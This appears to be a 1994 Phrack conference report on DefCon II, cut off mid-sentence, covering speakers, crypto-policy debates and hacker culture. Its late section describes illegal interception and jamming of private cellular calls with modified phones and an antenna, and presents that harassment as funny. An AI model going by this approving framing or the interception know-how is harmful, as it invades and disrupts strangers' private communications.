I'm over 30 (OK, over 35) and more than a few times (OK, a little
over 40) I had to vehemently deny being a Fed. Finally Jeff Moss
came to the rescue.
"He's not a Fed. He's a security guy and a writer."
"Ugh! That's worse. Can I get a T-shirt cause he's a writer?"
No way hacker-breath.
Jeff. Jeff Moss. Not what I expected. I went to school with a
thousand Jeff Mosses. While I had hair down to my waist, wearing
paisley leather fringe jackets and striped bell bottoms so wide I
appeared to be standing on two inverted ice cream cones, the Jeff
Mosses of the world kept their parents proud. Short, short
cropped hair, acceented by an ashen pall and clothes I stlll
wouldn't wear today. They could get away with anything cause
they didn't look the part of radical chic. Jeff, I really like
Jeff: he doesn't look like what he represents. Bruce Edelstein,
(now of HP fame) used to work for me. He was hipper than hip but
looked squarer than square. Now today that doesn't mean as much
as it used to, but we ex-30-somethings have a hard time forget
ting what rebellion was about. (I was suspended 17 times in the
first semester of 10th grade for wearing jeans.)
Jeff would fit into a Corporate Board Meeting if he wore the
right suit and uttered the right eloquencies: Yes, that's it: A
young Tom Hanks. Right. I used to hate Tom Hanks (Splash, how
fucking stupid except for the TV-picture tube splitting squeals)
but I've come to respect the hell out of him as an actor. Jeff
never had to pass through that first phase. I instantly liked
him and certainly respect his ability to pull off a full fledged
conference for only $5000.
You read right. Five grand and off to Vegas with 300 of your
closest personal friends, Feds in tow, for a weekend of electron
ic debauchery. "A few hundred for the brochure, a few hundred
hear, a ton in phone bills, yeah, about $5000 if no one does any
damage." Big time security shows cost $200,000 and up. I can
honestly say without meaning anything pejorative at any of my
friends and busienss acquaintances, that I do not learn 40 times
as much at the 'real' shows. Something is definitely out of
whack here. Suits want to see suits. Suits want to see fancy.
Suits want to see form, substance be damned. Suits should take a
lesson from my friend Jeff.
* * * * *
I again suffered through a tasteless Saharan buffer dinner which
cost me a whopping $7.95. I hate grits - buttered sand is what I
call them - but in this case might well have been preferable.
Somehow I coerced a few hackers to join me in the ritualistic
slaughter of our taste buds and torture of our intestines. They
were not pleased with my choice of dining, but then who gives a
shit? I couldn't taste anything anyway. Tough.
To keep our minds off of the food we talked about something much
more pleasant: the recent round of attacks on Pentagon computers
and networks. "Are the same people involved as in the sniffing
attacks earlier this year?" I asked my triad of dinner mates.
"Indubitably."
"And what's the reaction from the underground - other hackers?"
Coughs, sniffs. Derisive visual feedback. Sneers. The finger.
"We can't stand 'em. They're making it bad for everybody." Two
fingers.
By and large the DefCon II hackers are what I call 'good hackers'
who hack, and maybe crack some systems upon occasion, but aren't
what I refer to as Information Warriors in the bad sense of the
word. This group claimed to extol the same position as most of
the underground would: the Pentagon sniffing crackers - or
whoever who is assaulting thousands of computers on the net -
must be stopped.
"Scum bags, that what they are." I asked that they not sugarcoat
their feelings on my behalf. I can take it. "These fuckers are
beyond belief; they're mean and don't give a shit how much damage
they do." We played with our food only to indulge in the single
most palatable edible on display: ice cream with gobs of choco
late syrup with a side of coffee. .
The big question was, what to do? The authorities are certainly
looking for a legal response; perhaps another Mitnick or Phiber
Optik. Much of the underground cheered when Mark Abene and
others from the reknowned Masters of Destruction went to spend a
vacation at the expense of the Feds. The MoD was up to no good
and despite Abene's cries that there was no such thing as the
MoD, he lost and was put away. However many hackers believe as I
do, that sending Phiber to jail for hacking was the wrong punish
ment. Jail time won't solve anything nor cure a hacker from his
first love. One might as well try to cure a hungry man from
eating: No, Mark did wrong, but sending him to jail was wrong,
too. The Feds and local computer cops and the courts have to
come up with punishments appropriate to the crime. Cyber-crimes
(or cyber-errors) should not be rewarded by a trip to an all male
hotel where the favorite toy is a phallically carved bar of soap.
On the other hand, hackers in general are so incensed over the
recent swell of headline grabbing break-ins, and law enforcement
has thus far appeared to be impotent, ("These guys are good.")
that many are searching for alternative means of retribution.
"An IRA style knee capping is in order," said one.
"That's not good enough, not enough pain," chimed in another.
(Sip, sip. I can almost taste the coffee.)
"Are you guys serious?" I asked. Violence? You? I thought I
knew them better than that. I know a lot of hackers, none that I
know of is violent, and this extreme Pensacola retribution
attitude seemed tottally out of character. "You really wouldn't
do that, would you?" My dinner companions were so upset and they
claimed to echo the sentiment of all good-hackers in good stand
ing, that yes, this was a viable consideration.
"The Feds aren't doing it, so what choice do we have? I've heard
talk about taking up a collection to pay for a hit man . . ."
Laughter around, but nervous laughter.
"You wouldn't. . ." I insisted.
"Well, probably not us, but that doesn't mean someone else
doesn't won't do it."
"So you know who's behind this whole thing."
"Fucking-A we do," said yet another hacker chomping at the bit.
He was obviously envisioning himself with a baseball bat in his
hand.
"So do the Feds."
So now I find myself in the dilemma of publishing the open secret
of who's behind the Internet sniffing and Pentagon break ins, but
after talking to people from both the underground and law en
forcement, I think I'll hold off awhile It serves no immediate
purpose other than to warn off the offenders, and none of us want
that.
Obviously all is not well in hacker-dom.
* * * * *
The registration area was beyond full; computers, backpacks
everywhere, hundreds of what I have to refer to as kids and a
fair number of above ground security people. Padgett Peterson of
Martin Marietta was going to talk about viruses, Sara Gordon on
privacy, Mark Aldrich is a security guy from DC., and a bunch of
other folks I see on the seemingly endless security trade show
circuit. Jeff Moss had marketed himself and the show excellently.
Los Angeles sent a TV crew, John Markoff from the New York Times
popped in as did a writer from Business Week. (And of course,
yours truly.)
Of the 360 registrees ("Plus whoever snuck in," added Jeff) I
guess about 20% were so-called legitimate security people. That's
not to belittle the mid-20's folks who came not because they were
hackers, but because they like computers. Period. They hack for
themselves and not on other systems, but DefCon II offered some
thing for everyone.
I remember 25 years ago how my parents hated the way I dressed
for school or concerts or just to hang out: God forbid! We wore
those damned jeans and T-shirts and sneakers or boots! "Why can't
you dress like a human being," my mother admonished me day after
day, year after year. So I had to check myself because I can't
relate to Seattle grunge-ware. I'm just too damned old to wear
shirts that fit like kilts or sequin crusted S&M leather straps.
Other than the visual cacophony of dress, every single
hacker/phreak that I met exceeded my expectations in the area of
deportment.
These are not wild kids on a rampage. The stories of drug-in
duced frenzies and peeing in the hallways and tossing entire
rooms of furniture out of the window that emanated from the
HoHoCons seemed a million miles away. This was admittedly an
opportunity to party, but not to excess. There was work to be
done, lessons to be learned and new friends to make. So getting
snot nosed drunk or ripped to the tits or Ecstatically high was
just not part of the equation. Not here.
Now Vegas offers something quite distinct from other cities
which host security or other conventions. At a Hyatt or a Hilton
or any other fancy-ass over priced hotel, beers run $4 or $5 a
crack plus you're expected to tip the black tied minimum wage
worker for popping the top. The Sahara (for all of the other
indignities we had to suffer) somewhat redeemed itself by offer
ing an infinite supply of $1 Heinekens. Despite hundreds of beer
bottle spread around the huge conference area (the hotel was
definitely stingy in the garbage pail business) public drunken
ness was totally absent. Party yes. Out of control? No way.
Kudos!
Surprisingly, a fair number of women (girls) attended. A handful
were there 'for the ride' but others . . . whoa! they know their
shit.
I hope that's not sexist; merely an observation. I run across so
few technically fluent ladies it's just a gut reaction. I wish
there were more. In a former life, I owned a TV/Record produc
tion company called Nashville North. We specialized in country
rock taking advantage of the Urban Cowboy fad in the late 1970's.
Our crew of producers and engineers consisted of the "Nashville
Angels." And boy what a ruckus they would cause when we recorded
Charlie Daniels or Hank Williams: they were stunning. Susan
produced and was a double for Jacqueline Smith; we called Sally
"Sabrina" because of her boyish appearance and resemblance to
Kate Jackson. A super engineer. And there was Rubia Bomba, the
Blond Bombshell, Sherra, who I eventually married: she knew
country music inside and out - after all she came from Nashville
in the first place.
When we would be scheduled to record an act for live radio, some
huge famous country act like Asleep at The Wheel of Merle Haggard
or Johnny Paycheck or Vassar Clements, she would wince in disbe
lief when we cried, "who's that?" Needless to say, she knew the
songs, the cues and the words. They all sounded alike. Country
Music? Ecch. (So I learned.)
At any rate, ladies, we're equal opportunity offenders. C'mon
down and let's get technical.
As the throngs pressed to register, I saw an old friend, Erik
Bloodaxe. I've known him for several years now and he's even
come over to baby sit the kids when he's in town. (Good prac
tice.) Erik is about as famous as they come in the world of
hackers. Above ground the authorities investigated him for his
alleged participation in cyber crimes: after all, he was one of
the founders of the Legion of Doom, and so, by default, he must
have done something wrong. Never prosecuted, Erik Bloodaxe lives
in infamy amongst his peers. To belay any naysayers, Erik ap
peared on every single T-shirt there.
"I Only Hack For Money,"
Erik Bloodaxe
proclaimed dozens of shirts wandering through the surveillance
laden casinos. His is a name that will live in infamy.
So I yelled out, "Hey Chris!" He gave his net-name to the
desk/table registrar. "Erik Bloodaxe."
"Erik Bloodaxe?" piped up an excited high pitched male voice.
"Where?" People pointed at Chris who was about to be embarrass
ingly amused by sweet little tubby Novocain who practically bowed
at Chris's feet in reverence. "You're Erik Bloodaxe?" Novocain
said with nervous awe - eyes gleaming up at Chris's ruddy skin
and blond pony-tail.
"Yeah," Chris said in the most off handed way possible. For
people who don't know him this might be interpreted as arrogance
(and yes there is that) but he also has trouble publicly accept
ing the fame and respect that his endearing next-generation
teenage fans pour on him.
"Wow!" Novocain said with elegance and panache. "You're Erik
Bloodaxe." We'd just been through that said Chris's eyes.
"Yeah."
"Wow, well, um, I . . . ah . . . you're . . . I mean, wow,
you're the best." What does Sylvia Jane Miller from Rumpsteer,
Iowa say to a movie star? This about covered it. The Midwest
meets Madonna. "Wow!" Only here it's Novocain meets Cyber
Christ himself.
Like any other security show or conference or convention there is
a kickoff, generally with a speech. And DefCon II was no excep
tion. Except.
Most conventional conventions (ConCons) start at 7:30 or 8:00 AM
because, well, I don't know exactly why, except that's when so-
called suits are expected to show up in their cubicles. Def
Con, on the other hand, was scheduled to start at 10PM on Friday
night when most hakcers show up for work. Most everyone had
arrived and we were anxiously awaiting the opening ceremonies.
But, here is where Jeff's lack of experience came in. The kick-
off speaker was supposed to be Mark Ludwig of virus writing fame
and controversy. But, he wasn't there!
He had jet lag.
"From Phoenix?" I exclaimed in mock horror to which nearby hack
ers saw the absurdity of a 45 minute flight jet lag. Mark has a
small frame and looks, well, downright weak, so I figured maybe
flying and his constitution just didn't get along and he was
massaging his swollen adenoids in his room.
"Oh, no! He's just come in from Australia . . ." Well that
explains it, alright! Sorry for the aspersions, Mark.
But Jeff didn't have a back up plan. He was screwed. Almost four
hundred people in the audience and nothing to tell them. So, and
I can't quite believe it, one human being who had obviously never
stood in front of a live audience before got up in an impromptu
attempt at stand up comedy. The audience was ready for almost
anything entertaining but this guy wasn't. Admittedly it was a
tough spot, but . . .
"How do you turn a 486 into an 8088?"
"Add Windows." Groan. Groan.
"What's this?" Picture the middle three fingers of your right
hand wiggling madly.
"An encrypted this!" Now hold out just the middle finger.
Groan. Groan.
"What's this?" Spread your legs slightly apart, extend both
hands to the front and move them around quickly in small circles.
"Group Air Mouse." Groan.
The evening groaned on with no Mark nor any able sharp witted
comedian in sight.
Phil Zimmerman wrote PGP and is a God, if not Cyber-Christ him
self to much of the global electronic world. Preferring to call
himself a folk hero (even the Wall Street Journal used that term)
Phil's diminutive height combined with a few too many pounds and
a sweet as sweet can be smile earn him the title of Pillsbury
Dough Boy look alike. Phil is simply too nice a guy to be em
broiled in a Federal investigation to determine if he broke the
law by having PGP put on a net site. You see, the Feds still
think they can control Cyberspace, and thereby maintain antique
export laws: "Thou shalt not export crypto without our approval"
sayeth the NSA using the Department of Commerce as a whipping boy
mouth piece. So now Phil faces 41-51 months of mandatory jail
time if prosecuted and convicted of these absurd laws.
Flying in from Colorado, his appearance was anxiously awaited.
"He's really coming?" " I wonder what he's like?" (Like every
one else, fool, just different.) When he did arrive, his shit-
eating grin which really isn't a shit-eating grin, it's just
Phil's own patented grin, preceeded him down the hallway.
"Here he is!" "It's Phil Zimmerman." Get down and bow. "Hey,
Phil the PGP dude is here."
He was instantly surrounded by those who recognize him and by
those who don't but want to feel like part of the in-crowd.
Chat chat, shit-eating grin, good war stories and G-rated pleas
antries. Phil was doing what he does best: building up the folk
hero image of himself. His engaging personality (even though he
can't snorkel to save his ass) mesmerized the young-uns of the
group. "You're Phil?"
"Yeah." No arrogance, just a warm country shit-eating grin
that's not really shit-eating. Just Phil being Phil. He plays
the part perfectly.
Despite the attention, the fame, the glory (money? nah . . .) the
notoriety and the displeased eyes of onlooking Computer Cops who
really do believe he belongs in jail for 4 years, Phil had a
problem tonight. A real problem.
"I don't have a room!" he quietly told Jeff at the desk. "They
say I'm not registered." No panic. Just a shit-eating grin
that's not a shit-eating grin and hand the problem over to the
experts: in this case Jeff Moss. Back to his endearing fans.
Phil is so damned kind I actually saw him giving Cryptography 101
lessons on the corner of a T-shirt encrusted table. "This is
plaintext and this is crypto. A key is like a key to your hotel
room . . . " If only Phil had a hotel room.
Someone had screwed up. Damn computers. So the search was on.
What had happened to Phil's room? Jeff is scrambling and trying
to get the hotel to rectify the situation. Everyone was abuzz.
Phil, the crypto-God himself was left out in the cold. What
would he do?
When suddenly, out of the din in the halls, we heard one voice
above all the rest:
"Phil can sleep with me!"
Silence. Dead stone cold silence. Haunting silence like right
after an earthquake and even the grubs and millipedes are so
shaken they have nothing to say. Silence.
The poor kid who had somehow instructed his brain to utter the
words and permitted them to rise through his esophagus and out
over his lips stood the object of awe, incredulity and mental
question marks. He must have thought to himself, "what's every
one staring at? What's going on? Let me in on it." For the
longest 10 seconds in the history of civilization he had abso
lutely no clue that he was the target of attention. A handful of
people even took two or three steps back, just in case. Just in
case of what was never openly discussed, but nonetheless, just in
case.
And then the brain kicked in and a weak sheepish smile of guilt
overcame this cute acne-free baby-butt smooth-faced hacker who
had certainly never had a shave, and was barely old enough to
steer his own pram.
"Ohhhhhh . . . . noooooo," he said barely louder than a whisper.
"That' not what I mean!"
I nearly peed laughing so hard in unison with a score of hackers
who agreed that these misspoken words put this guy in the unenvi
able position of being the recipient of a weekend of eternal
politically incorrect ridicule.
"Yeah, right. We know what you mean . . "
"No really . . ." he pleaded as the verbal assaults on his al
leged sexual preferences were slung one after the other.
This poor kid never read Shakespeare: "He who doth protest too
much . . ."
If we couldn't have a great kickoff speech, or comedian, this
would have to do.
The majority of the evening was spent making acquaintances:
"Hi, I'm Jim. Oops, I mean 'Septic Tank," was greeted with "Oh,
you're Septic. I'm Sour Milk." (Vive la difference!) People who
know each other electronically are as surprised to meet their
counterparts as are first daters who are in love with the voice
at the other end of the phone. "Giving good phone" implies one
thing while "Having a great keystroke" just might mean another.
The din of the crowd was generally penetrated by the sounds of a
quasi-pornographic Japanese high tech toon of questionable so
cially redeeming value which a majority of the crowd appeared to
both enjoy and understand. I am guilty of neither by reason of
antiquity.
And so it goes.
* * * * *
Phil Zimmerman must have gotten a room and some sleep because at
10AM (or closely thereafter) he gave a rousing (some might say
incendiary) speech strongly attacking the government's nearly
indefensible position on export control
I was really impressed. Knowing Phil for some time, this was the
first time I ever heard him speak and he did quite an admirable
job. He ad libs, talks about what he want to talk about and does
so in a compelling and emotional way. His ass is on the line and
he should be emotional about it. The audience, indeed much of
counter culture Cyberspace loves Phil and just about anything he
has to say. His affable 40-something attorney from Colorado,
Phil DuBois was there to both enjoy the festivities and, I'm
sure, to keep tabs on Phil's vocalizations. Phil is almost too
honest and open for his own good. Rounds and rounds of sincere
appreciation.
Hey kids, now it's time for another round of Spot The Fed.
Here's your chance to win one of these wonderful "I Spotted A
Fed" T-shirts. And all you have to do is ID a fed and it's yours.
Look around you? Is he a Fed? Is she under cover or under the
covers? Heh, heh. Spot the Fed and win a prize. This one-size-
fits-all XXX Large T-shirt is yours if you Spot the Fed. I had
to keep silent. That would have been cheating. I hang out on
both sides and have a reputation to maintain.
"Hey, I see one" screeched a female voice (or parhaps it was
Phil's young admirer) from the left side of the 400+ seat ball
room. Chaos! Where? Where? Where's the fed? Like when Jose
Consenko hits one towards the center field fence and 70,000
screaming fans stand on their seats to get a better view of a
three inch ball 1/4 mile away flying at 150 miles per hour, this
crowd stood like Lemmings in view of Valhalla the Cliff to espy
the Fed. Where's the Fed?
Jeff jumped off the stage in anxious anticipation that yet anoth
er anti-freedom-repressive law enforcement person had blown his
cover. Where's the Fed? Jeff is searching for the accuser and
the accused. Where's the Fed? Craned necks as far as the eye
can see; no better than rubber neckers on Highway 95 looking for
steams of blood and misplaced body parts they half expected a Fed
to be as distinctly obvious as Quasimoto skulking under the
Gorgoyled parapits of Notre Dame. No such luck. They look like
you and me. (Not me.) Where's the Fed?
He's getting closer, closer to the Fed. Is it a Fed? Are you a
Fed? C'mon, fess up. You're a a fed. Nailed. Busted. Psyche!
Here's your T-shirt. More fun than Monty Hall bringing out
aliens from behind Door #3 on the X-Files. Good clean fun. But
they didn't get 'em all. A couple of them were real good. Must
have been dressed like an Hawaiian surf bum or banshee from
Hellfire, Oregon. Kudos to those Feds I know never got spotted.
Next year, guys. There's always next year.
Phil's notoriety and the presence of the Phoenix, Arizona prosecu
tor who was largely responsible for the dubiously effective or
righteous Operation Sun Devil, Gail Thackeray ("I change job
every 4 years or so - right after an election") brought out the
media. The LA TV station thought they might have the makings of
a story and sent a film crew for the event.
"They're Feds. The ones with the cameras are Feds. I know it. Go
ask 'em." No need. Not.
"Put away that camera." At hacking events it's proper etiquette
to ask if people are camera shy before shooting. The guy that I
was sitting next to buried his face in his hands to avoid being
captured on video tape.
"What are you; a Fed or a felon?" I had to ask.
"What's the difference," his said. "They're the same thing." So
which was it, I wondered. For the truly paranoid by the truly
paranoid.
"Get that thing outta here," he motioned to the film crew who
willingly obliged by turning off the lights. "They're really
Feds," he whispered to me loud enough for the row in front and
behind us to hear.
I moved on. Can't take chances with personal safety when I have
kids to feed. Fed or felon, he scared me.
Gail Thackeray was the next act on stage. She was less in agree
ment about Phil Zimmerman than probably anyone (except the unde
tected Feds) in the audience. She, as expected, endorsed much of
the law enforcement programs that revolve around various key
management (escrow) schemes. Phil recalls a letter from Burma
that describe how the freedom fighters use PGP to defend them
selves against repression. He cites the letter from Latvia that
says electronic freedom as offered by PGP is one of the only
hopes for the future of a free Russia. Gail empathizes but sees
trouble closer to home. Terrorism a la World Trade Center, or
rocket launchers at O'Hare Airport, or little girl snuff films in
Richmond, Virginia, or the attempt to poison the water supply
outside of Boston. These are the real threats to America in the
post Cold War era.
"What about our personal privacy!" cries a voice. "We don't want
the government listening in. It's Big Brother 10 years behind
schedule."
Gail is amused. She knew it would be a tough audience and has
been through it before. She is not shaken in the least.
"I've read your mail," she responds. "Its not all that interest
ing." The audience appreciates a good repartee. "You gotta pay
me to do this, and frankly most of it is pretty boring." She
successful made her point and kept the audience laughing all the
way.
She then proceeded to tell that as she sees it, "The expectation
of privacy isn't real." I really don't like hearing this for I
believe in the need for an Electronic Bill of Rights. I simply
think she's wrong. "History is clear," she said "the ability to
listen in used to be limited to the very few. The telegraph was
essentially a party line and still today in some rural areas
communications aren't private. Why should we change it now?"
"Gail, you're so full of shit!" A loud voice bellowed from next
to me again. Boy can I pick seats. "You know perfectly well that
cops abuse the laws and this will just make their jobs easier.
Once people find a way to escape tyranny you all want to bring it
right back again. This is revolution and you're scared of los
ing. This kind of puke scum you're vomiting disgusts me. I just
can't take it any more. " Yeah, right on. Scattered applause.
While this 'gent' may have stated what was on many minds, his
manner was most unbefitting a conference and indeed, even DefCon
II. This was too rude even for a hacker get-together. The man
with the overbearing comments sat down apologizing. "She just
gets me going, she really does. Really pisses me off when she
goes on like about how clean the Feds are. She knows better than
to run diarrhea of the mouth like that."
"You know," she continued. "Right across the street is a Spy
Shop. One of those retail stores where you can buy bugs and taps
and eavesdropping equipment?" The audience silently nodded. "We
as law enforcement are prohibited by law from shopping there and
buying those same things anyone else can. We're losing on that
front." Cheers. Screw the Feds.
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 20 of 28
****************************************************************************
(Cyber Christ Meets Lady Luck Continued)
I don't agree with everything that Gail says, but she is a com
pelling speaker; she believes in what she says. But I do agree
with her on the difficulty of forensic evidence in computer
cases.
"I got really mad," she said. "I was reading a magazine and
there was an ad for United, you know, the employee owned airline.
And it was a beautiful ad, hundred of employees standing in front
of a brand new great big jet. All smiling and happy." Gail then
frowned deeply. "Some stockholder ought to sue them for mislead
ing advertising." This was more like it! Go, Gail! "I started
to look at the picture carefully and I noticed this unmistakably
fat lady in a pink dress. And then over a few persons. . .guess
what? The same fat lady in pink." Roars of laughter and ap
plause.
Her point? What seems real may not be real at all, and with a few
hundred dollars in software and a little practice, most anyone
can build a false reality digitally.
Her time was up but the audience wanted more. She was mobbed for
eternity by hackers who fight her tooth and nail but respect her
comportment enough to make the disagreements lively, partisan,
entertaining, but with respect. Respectful hackers. No HoHoCon
orgies; merely verbal barbs with no solution. Everyone knew that,
but it's the battle that counts.
More security conference should be this open, this honest and
informative, with all kinds of people with all kinds of opinions.
That is how we, and I, learn. Listen and learn. And all for
$5000 no less, plus a paltry $15 entrance fee.
* * * * *
The afternoon sessions were filled with a mixture of anti-govern
ment, pro-privacy advocacy, virus workshops and such by both
under and above ground folks. Padgett Peterson's knowledge of
viruses is deep and he spread the same wisdom as his does in so
called legitimate circles. Knowledge is knowledge, and better
accurate than wrong.
It's often surprising to see how people will voice the same
opinion in varying degree of intensity depending upon their
audience. Mark Aldrich of General Research Corp. in the Washing
ton area made a statement that I doubt I would hear at a ConCon.
"Fear your government that fears your crypto. Use crypto as
a weapon." Sara Gordon's panel discussion on crypto and privacy
and related topics fueled the audience's general anti-fed atti
tude.
"I was bugged by the Feds." "So was I?" "What can we do about
it." "Yeah, they listen in on my phones, too. I can hear the
clicks." Right.
As Mark so succinctly put it, "if the government wants to bug
you, you'll never know. They're that good.". That kind of shut
up the dilettante paranoids in the group, albeit mumbling that
they just knew that they were the victim of one of the 900 or so
court approved wire taps last year. Right. I think Gail was
right: some of you guys are too boring to be believed.
The afternoon edition of the Spot A Fed contest took us on the
run. I actually succombed to their enthusiasm and a general lack
of better judgement and followed a group of 8 or 10 to unmask an
unmarked white van in the parking lot.
"It's the Feds." "How do you know?" "Oh, it's the Feds alright."
"How do you know." "It's a white van and the intelligence serv
ices use white vans." "What are you going to do?" "Bust 'em."
"Bust 'em for what?" "For being Feds."
This motley crew traipsed through the mile long casino, trodding
upon the ugly tartan/paisley carpets so obnoxiously loud a blind
man could cry "Uncle!", into the Hall of Overpriced Shoppes
through the lobby and over to the parking garage. We had to have
$100,000 of surveillance gear in tow:(enough to detect the planet
Pluto fart in b-flat). Radio receivers and eavesdropping equip
ment were courtesy of my pal Mike Peros. The goal was, if this
was a Fed van, we could hear it. I don't think so, but I go for
the ride and a few minutes of reprieve away from the conference
hall.
As we near, the excitement grows among the more paranoid who are
trying to instill their own mental foibles into their companions
and sheer terror in normal old Vegas visitors who have no idea
what they've walked into.
Feds? Not. Surrepticious radio transmissions? Just hotel securi
ty tracking the movements of 8 or 10 paranoids (and one writer
with nothing else to do for a half hour) into a parking garage
which has more cameras than NBC. Feds? Of course not. Don't be
ridiculous.
* * * * *
To say nothing worthwhile occurred until 11PM that evening would
be lying, but this thing, this DefCon II thing, was turning into
what I would have called 25 years ago, a Love-In. The partici
pants were giddy from the event, the camaraderie, the $1 Heinek
ens and the hacking. The Sahara was actually pretty good about
it. Jeff got the conference space for free because he guaranteed
that at least 100 hotel rooms would be booked by "computer en
thusiasts coming to a small computer conference." Little did the
hotel know that half the crowd was too young to drink, too broke
to gamble, and conspicuous enough to ward off legitimate clients.
But a deal's a deal.
The hotel operators went out of their way and allegedly gave the
hackers permission to hack through the PBX in order to provide a
SLPP connection.
"Just put it back the way you found it when you're done," was the
hotel's only and quite reasonable request.
In my day an equivalent event producing an equivalent social non-
drug induced high would have been achieved by tossing a Frisbee
to Grace Slick (Lead singer Jefferson Airplane) and have her
throw it back. We didn't have the kind of technology that today's
rebellious age has. We had the Beatles and Jimi Hendrix, safe
sex (kinda), safe drugs (well, maybe a little safer) and a cause.
But no technology to speak of.
When I was on the publishing staff of the New York City Free
Press in 1968/9 we wrote our anti-establishment diatribes by
hand. By hand! And then we went down to a dark office late at
night to use their typesetting gear when it was idle. It took no
more than a blushing glance around the room to realize that we
impressionable teens were publishing our political extremisms on
equipment courtesy of Al Goldstein and Screw magazine. Now that
was an education.
DefCon II was a Love-In, technology and all.
Come 11PM yet another speaker canceled so I offered to chat to
the crowd for a half hour or so on Van Eck radiation; the emis
sions from CRT's that make video screens readable from a dis
tance. Now this wasn't a fill in at 2PM or anything. Sessions
reconvened at 11PM and I spoke to a full audience who were there
to get a midnight lesson in cellular hacking.
Most above ground types still believe that hacking is an acne-
faced teenager, chigging Jolt Cola, wolfing down pepperoni
pizza and causing Corporate America no end of grief. To a cer
tain extent some of this is true. But hacking is so much more.
As Rop Gongrijjp, editor of Hacktic once told me, "hacking is
disrespect of technology." It's going the extra mile to find out
how things work. Many of the older hackers, those in their early
20's and older, are migrating from the conventional dial-em-up
and break-in hacking image to the fine art of cellular hacking.
How do these things work? What are the frequencies? How can I
customize my phone? How many channels can I scan? The possibil
ities are endless as I soon learned.
Jim and Bill (fake names) asked if I wanted to see a great demo.
Sure! No names, they said. OK. No problem. In one of the
several thousand hotel rooms at the Sahara was a pile of equip
ment to make an under budgeted FBI surveillance team insanely
jealous. There in the middle of the ridiculously filthy room that
no doubt caused the maid to shudder, sat a log periodic antenna
poised atop a strong and highly adjustable photographic-style
tripod. Feeding the antenna was a hunk of coax attached to a
cell phone's antenna jack.
OK, so what's that? Free cell calls? No, much more.
A second cell phone/scanner, an Oki 900 was modified and connect
ed to a laptop computer. (This was the exact modification being
discussed downstairs) Custom software that was freely distrib
uted around DefCon scanned the data from the Oki and displayed
the scanning activity. A pair of speakers then audibly broadcast
the specific conversation. And in Vegas, you can imagine what
was going over the open airwaves!
A half dozen 'kids' sat around enthralled, each begging for his
turn to, as Jim put it, "harass cellular users. Pure and simple.
Harassment. Stomp on the son of a bitch," he laughed, joined in
by the others.
When a 'good' conversation was detected, they entered the channel
into the broadcasting cell phone and spoke. And talk they did.
Essentially they turned 'private' conversations into wide-band
free-for-alls. If they spoke for only a few seconds one or both
of the parties could hear what was being said. If they talked
for too long, the overpowering signal from the antenna would
literally wipe out the chat: the cell switch reacted with an
internal belch and shut down. Stomping, they called it.
For those on the receiving end of the harassment, it must have
sounded like the overbearing voice of God telling Noah how to
build the Ark.
"Noah?"
"Who dat?
"Noah?"
"Who is that?"
What terror lurks in the minds of boys . . .
For those old enough to remember, stomping is no more a stunt
than putting a 500 watt linear power amplifier on a CB radio and
blasting nearby CB's to kingdom come. The truckers used to do it
to 4-wheelers. When the police began monitoring CB channels "to
protect and serve" they became the target of CB stomping. So
what else is new?
I gotta give it to them: these characters designed and built the
software, modified the phones and put it all together and it
works! Not bad on a $3 allowance and a 10th grade education.
Now, I guess what they did may have been sort of illegal, or at
least highly unethical and definitely not nice. But I have to
admit, some of what I witnessed was very, very, funny. I'm not
advocating this kind of activity, but much like Candid Camera
broke into people's lives to capture their reactions, cellular
hacking is similarly amusing. The hacker/phreaks particularly
enjoyed breaking in on fighting couples. (I counted six impend
ing divorces.) Almost without exception the man was in a car and
the lady was at a fixed location; presumably, home.
Him: "Where the hell have you been."
Her: "Nowhere."
Him: "Bullshit.
Her: "Really honey . . ." Defensively.
Him: "Who's with you?" Intense anger.
Hacker: "Don't believe her. She's a whore."
Him: "What was that?"
Her: "What?"
"That voice."
"What voice?"
Hacker: "Me you asshole. Can't you see she's playing you for a
fool."
"I know she is." He agrees.
"What's that honey?"
"I know he's there with you."
"Who?" Incredulous.
"Him . . . whoever you're fucking when I'm at work."
Hacker: "Yeah, it's me."
"Shit! Who the fuck is there?"
"No one!"
"I can hear him, he's there. You're both making fun of me . . ."
Hacker: "She's laughing at you, man."
"No shit. Who the fuck are you?"
Hacker: "The guy who takes care of her when you can't, asshole."
"That's it." Click.
Drug dealers aren't immune to these antics.
"Where's the meet?"
"By the 7/11 on Tropicana."
"You got it?"
"You got the cash?"
"Yeah, dude."
"Be sure you do."
Hacker: "He doesn't have the cash my man. He's gonna rip you
off."
"What?" "What?" Both sides heard the intruder's voice. "Who is
that?"
"What's that about a rip-off?"
"This ain't no rip-off man."
Hacker: "Yes it is. Tell 'em the truth. You gonna take his drugs
and shoot his ass. Right? Tell 'em."
"You gonna rip me off?"
"No, man!"
"Your homeboy says you gonna try and rip me off?"
"What home boy?"
Hacker: "Me, you bozo drug freak. Don't you know that shit can
kill you?"
Click.
Good samaritanism pays off upon occasion.
"Honey, hurry up."
"I'm on the freeway. I'm coming."
Hacker: "He's late. Let's save her ass."
"What was that?" "What did you say honey?"
"He said he was going to save your ass."
"Who did?"
"The guy on the radio." (Technical ignorance abounds.)
Hacker: "Me. You're late and she's scared so we're gonna beat
you there and make her safe."
"Who the hell is that?" "Who?" "The guy with you?" "There's no
one here." "He says he's gonna beat me there and pick you up."
Hacker: "Damn right we are."
"Hey, this is cool. Who's there?"
Hacker: "Cyber Christ talking to you from Silicon Heaven."
"No shit. Really?"
Hacker: "Yeah, (choke, choke,) really."
"What's happening, honey."
"I don't know, for sure. He says it's God."
"God!?!?"
Hacker: "Close enough. Listen, you sound alright. Go get your
woman, man Keep her safe."
"No problem. Uh, thanks."
Click.
Around 4AM, I guess it was, the hacker/phreaks definitely helped
out law enforcement. One end of the conversation was coming from
inside a hotel, maybe even the Sahara. The other from another
cell phone, most likely in the lobby.
"What do you look like?"
"I'm five foot nine, thinning brown hair and 180 pounds I wear
round glasses and . ."
"I get the idea. Where are you now?"
"I'm coming down the elevator now. What do you look like?"
"I'm six foot one in my heels, have long blond spiked hair and
black fishnet stockings."
Hacker: "Don't go man. It's a bust."
"What?" he said.
Hacker: "Don't go, it's a bust. You don't want your name in the
papers, do ya?"
"What the fuck?" she yelled.
"There's a guy who says this is a bust?"
"Bust? What bust?"
Hacker: "That's the clue, man. She's denying it. Of course it's
a bust. Is it worth a night in jail to not get laid?"
"Shit." He whispers not too quietly to another male companion.
"There's some guy on the phone who says it's bust. What should we
do."
Hacker: "I'm telling you man, don't go,"
"This ain't worth it. I'm going back upstairs."
Click.
A couple of hours later the same hooker was overheard talking to
one of her work mates.
"Then this asshole says it's a bust. Cost me $300 in lost busi
